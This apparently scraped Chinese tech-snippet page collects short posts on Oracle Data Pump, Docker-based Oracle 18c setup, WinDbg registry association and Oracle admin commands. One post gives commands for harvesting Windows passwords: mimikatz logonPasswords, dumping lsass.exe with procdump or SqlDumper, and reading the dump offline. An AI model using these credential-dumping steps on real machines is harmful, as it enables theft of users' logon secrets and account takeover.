dmp

ORACLE 数据泵 导入导出dmp包

早过忘川 提交于 2019-12-06 02:08:37
1.创建物理目录 以root用户登陆服务器 创建逻辑目录:mkdir -p /app/bk 开放执行权限:chmod -R 777 /app/bk 2.创建逻辑目录 切换至oracle用户:su - oracle 登陆oracle: sqlplus / as sysdba 创建逻辑目录给指定用户: create directory data_dir to irpf; 查看是否创建成功:select * from dba_directories; 给用户赋权操作:grank read,write on directory data_dir to irpf; 3.导出全部对象 expdp irpf/irpf@orcl dumpfile=expdp.dmp DIRECTORY=data_dir full=y logfile=expdp.log ; 4.仅导出表结构(不含用户) expdp irpf/irpf@orcl dumpfile=expdp.dmp DIRECTORY=data_dir schemas=irpf content=metadata_only exclude=user logfile=expdp.log ; 5.仅导出部分表数据(不含用户) expdp irpf/irpf@orcl dumpfile=expdp.dmp DIRECTORY=data_dir

Docker (一) 安装 Oracle18c

こ雲淡風輕ζ 提交于 2019-12-06 00:10:59
通过Docker 安装 Oracle18c 1、拉取 oracle18c 镜像 docker pull registry.cn-hangzhou.aliyuncs.com/zhengqing/oracle18c 2、运行 docker run -d --name oracle18c -p 1521:1521 -v /IT_zhengqing/soft/db/oracle18c/data:/opt/oracle registry.cn-hangzhou.aliyuncs.com/zhengqing/oracle18c 运行之后查看容器日志等待出现如下信息即可 3、进入容器设置密码 进入容器后有个 setPassword.sh 脚本 执行如下命令设置密码 ./setPassword.sh 123456 # 123456为设置密码,这里修改为自己的即可 4、依次执行如下命令进入oracle并设置 PDB grep $ORACLE_HOME /etc/oratab | cut -d: -f1 export ORACLE_SID=ORCLCDB sqlplus / as sysdba 设置pdb show pdbs; alter session set container=ORCLPDB1; # 注:每次登录都要设置 ORACLE_SID 环境变量,可以将这个写到~/.bashrc文件里去

将windbg与.dmp文件关联

夙愿已清 提交于 2019-12-05 22:17:14
如果您厌倦了启动调试器、加载转储文件、设置sympath、加载扩展名等,这里有一个很好的方法,可以在.dmp文件的上下文菜单上获取“调试此转储文件”,并自动加载所有您喜欢的命令。 首先创建一个包含以下内容的.reg文件(在修改注册表时一定要非常小心) Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\.dmp] @="Debugger.Dump" [HKEY_CLASSES_ROOT\Debugger.Dump] [HKEY_CLASSES_ROOT\Debugger.Dump\DefaultIcon] @="c:\\debuggers\\cdb.exe" [HKEY_CLASSES_ROOT\Debugger.Dump\Shell] [HKEY_CLASSES_ROOT\Debugger.Dump\Shell\Debug_Without_Remote] @="Debug This Dump" [HKEY_CLASSES_ROOT\Debugger.Dump\Shell\Debug_Without_Remote\Command] @="\"C:\\debuggers\\windbg\" -z \"%1\" -c \"$<c:\\debuggers\\commands.txt\"" [HKEY_CLASSES_ROOT

oracle常用命令整理

柔情痞子 提交于 2019-12-05 14:27:12
用户 创建用户: create user username identified by password; 创建用户并指定表空间: CREATE USER username IDENTIFIED BY password DEFAULT TABLESPACE tablespacename; 用户授权: grant create session, connect, resource to username; 授予全部权限 grant all privileges to username; -- 最好不要授权dba给普通用户 授权创建表 grant create any table to username; 授权创建视图: grant create any view to username; 修改用户密码: alter user username identified by password; 撤销用户权限: revoke privileges from username; 表空间 创建表空间: create tablespace tblspacename datafile 'xxxx.dbf' size 10m; 将表空间分配给用户: ALTER USER username DEFAULT TABLESPACE tablespacename; 查看表空间的位置: select file

oracle数据dmp文件导入

微笑、不失礼 提交于 2019-12-05 08:00:06
首先需要知道dmp文件的表空间和用户名。 (也可以根据出错提示得到:比如用户名为fitness,表空间为 fitness_ts ) 创建Oracle相关信息。 create user fitness IDENTIFIED by 12345678 --创建用户 create tablespace fitness_ts datafile 'd:\data.dbf'SIZE 500M; --需要根据实际的数据大小,或可以设置表空间自增长 alter user fitness DEFAULT tablespace fitness_ts; --将表空间指定给用户 grant create session,create table,create sequence,create procedure,create trigger, unlimited tablespace to fitness; 说明: grant create session to test; --赋予create session的权限 grant create table,create view,create trigger, create sequence,create procedure to test;--分配创建表,视图,触发器,序列,过程 权限 grant unlimited tablespace to test;

oracle数据库定时备份及还原方法

☆樱花仙子☆ 提交于 2019-12-05 07:08:31
一、oracle数据备份 1、找到电脑右下方开始--运行,输入cmd,进入dos命令窗口。 2、输入sqlplus system/密码@orcl (一般管理员登录)--------连接本机oracle数据库 输入 sqlplus system/密码@IP:端口/orcl (一般管理员登录)--------连接非本机oracle数据库 3、创建一个dmp的目录,输入create directory dpdata1 as 'E:\temp\dmp'; 4、查询是否有此目录,select * from dba_directories; 5、在E盘下新建E:\temp\dmp目录 6、赋于要导出数据表的所属用户权限,grant read,write on directory dpdata1 to 用户名;,授权成功以后输入exit 退出sql。 7、开始数据备份,expdp system/密码@orcl directory=dpdata1 dumpfile=文件名.dmp logfile=文件名.log schemas=用户名 8、目录E:\temp\dmp下面可以看到备份文件,备份完成。 二、oracle数据还原 1、找到电脑右下方开始--运行,输入cmd,进入dos命令窗口。 2、输入sqlplus system/密码@orcl (一般管理员登录)-------

expd,impd常用命令

寵の児 提交于 2019-12-04 17:25:02
以用户名:dzl 密码:test 实例:orcl 导出文件夹d:\dump为例 1.创建导入文件的路径 create directory dmp_dir as 'd:\dump'; 2.查看文件路径 select * from dba_directories; 3.赋予权限 grant read,write on directory dmp_dir to dzl; 4.常用导出命令 4.1按用户导 expdp dzl/test@orcl schemas=dzl dumpfile=20181104.dmp DIRECTORY=dmp_dir; 4.2并行进程parallel expdp dzl/test@orcl directory=dmp_dir dumpfile=20181104.dmp parallel=40 job_name=dzl3 4.3按表名导 expdp dzl/test@orcl TABLES=t_test dumpfile=20181104.dmp DIRECTORY=dmp_dir; 4.4按查询条件导 expdp dzl/test@orcl directory=dmp_dir dumpfile=20181104.dmp Tables=t_test query='WHERE deptno=20'; 4.5按表空间导 expdp dzl/test@orcl

Oracle逻辑导入数据(IMP/IMPDP)

只愿长相守 提交于 2019-12-04 06:03:31
使用IMPDP导入数据的前提是数据是使用EMPDP导出的,同样也是在DOS窗口下直接输入IMPDP和登录数据库的用户名,即可导人数据。 impdp导到指定用户下: impdp student/123456@orcl DIRECTORY=dir DUMPFILE=student.dmp logfile=student_imp.log SCHEMAS=student    1、directory指定的是目录对象,这里的目录对象就是在使用expdp导出时创建的目录对象。语法解析: 2、dumpfile指定的是要导入的dmp文件, 3、SCHEMAS指定要导入的数据是导入到哪个用户下。 impdp导入表空间: impdp student/123456@orcl DIRECTORY=dir DUMPFILE=student_tablespace.dmp logfile=student_imp.log TABLESPACES=student    1、tablespaces指定要导入的是表空间下的所有对象和数据,这里导入的表空间为student表空间。语法解析: impdp导入数据库: impdp student/123456@orcl DIRECTORY=dir DUMPFILE=student_full.dmp logfile=student_imp.log full=y    1

windows读密码的几种姿势

别来无恙 提交于 2019-12-03 10:14:19
1.mimikatz mimikatz.exe "sekurlsa::debug" "sekurlsa::logonPasswords full" >>1.txt exit 2.procdump 1、在目前机器上执行 procdump.exe -accepteula -ma lsass.exe lsass.dmp 2、把lsass.dmp下载到本地,放在同样的系统(目标是windows2008-->本地也用Windows2008) 3、mimikatz加载lsass.dmp sekurlsa::minidump lsass.dmp 4、抓取密码 sekurlsa::logonPasswords full 3.SqlDumper.exe 1、如果目标系统上安装了windows sql server ,SqlDumper.exe默认存放在c:\Program Files\Microsoft SQL Server\number\Shared,其中number代表sql server的版本 140 for SQL Server 2017 130 for SQL Server 2016 120 for SQL Server 2014 110 for SQL Server 2012 100 for SQL Server 2008 90 for SQL Server 2005

解决PL/SQL使用无法导出dmp

佐手、 提交于 2019-12-03 01:59:11
解决PL/SQL使用无法导出dmp 1、配置plsql Export Executable:D:\app\product\11.2.0\dbhome_1\BIN\exp.exe 2、配置环境变量ORACLE_HOME=D:\app\product\11.2.0\dbhome_1(很重要,如果不配置会导出不了,也不会显示报错信息) 来源: https://www.cnblogs.com/ShaYeBlog/p/11770492.html